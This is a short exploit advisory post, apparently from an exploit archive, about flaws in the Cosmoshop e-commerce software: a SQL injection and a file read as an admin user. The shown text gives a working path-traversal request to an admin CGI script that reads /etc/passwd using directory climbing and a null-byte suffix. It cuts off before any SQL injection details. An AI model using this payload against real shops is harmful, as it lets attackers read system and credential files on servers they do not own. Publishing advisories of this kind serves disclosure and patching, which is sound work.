[cosmoshop again] sql injection + view all files as admin user

i am: l0om page: www.excluded.org product: cosmoshop 1 show all files as admin-user 2 sql injection Cosmoshop - Lse = V8.11.106 1 Show all files as an admin-user: /cgi-bin/admin/bestellvorgang/editmailtexte.cgi?file=../../../../../../../../../etc/passwd00...